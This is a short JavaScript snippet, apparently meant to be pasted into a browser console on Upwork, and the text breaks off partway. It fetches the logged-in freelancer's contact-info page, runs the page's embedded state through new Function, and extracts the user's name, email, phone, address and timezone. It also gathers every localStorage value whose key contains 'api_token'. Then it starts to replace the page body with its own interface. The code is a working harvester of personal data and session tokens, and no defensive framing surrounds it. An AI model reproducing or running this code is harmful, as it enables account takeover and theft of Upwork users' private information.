var randomX=0; if(randomX!==1){ randomX=1; (async () => { const getPersonalData = async () => { try { const res = await fetch('https://www.upwork.com/freelancers/settings/contactInfo'); const html = await res.text(); const scriptMatch = html.match(/window\.__NUXT__\s*=\s*(.*?);<\/script>/s); if (!scriptMatch) return { error: "NUXT data not found." }; const sandbox = {}; const extractData = new Function('window', scriptMatch[0].replace('<\/script>', '')); extractData(sandbox); const store = sandbox.__NUXT__.state.ContactInfoStore; return { name: `${store.freelancer.firstName} ${store.freelancer.lastName}`, email: store.freelancer.email?.address || "N/A", phone: store.phone?.number || "N/A", address: `${store.freelancer.address.street}, ${store.freelancer.address.city}, ${store.freelancer.address.country}`, timezone: store.freelancer.timezone }; } catch (e) { return { error: e.message }; } }; const getTokens = () => { let tokens = []; for (let i = 0; i < localStorage.length; i++) { let key = localStorage.key(i); if (key.includes(`api_token`) && !key.includes(`expires`)) { tokens.push({ key, value: localStorage.getItem(key) }); } } return tokens; }; const data = await getPersonalData(); const tokens = getTokens(); // Create UI document.body.innerHTML = `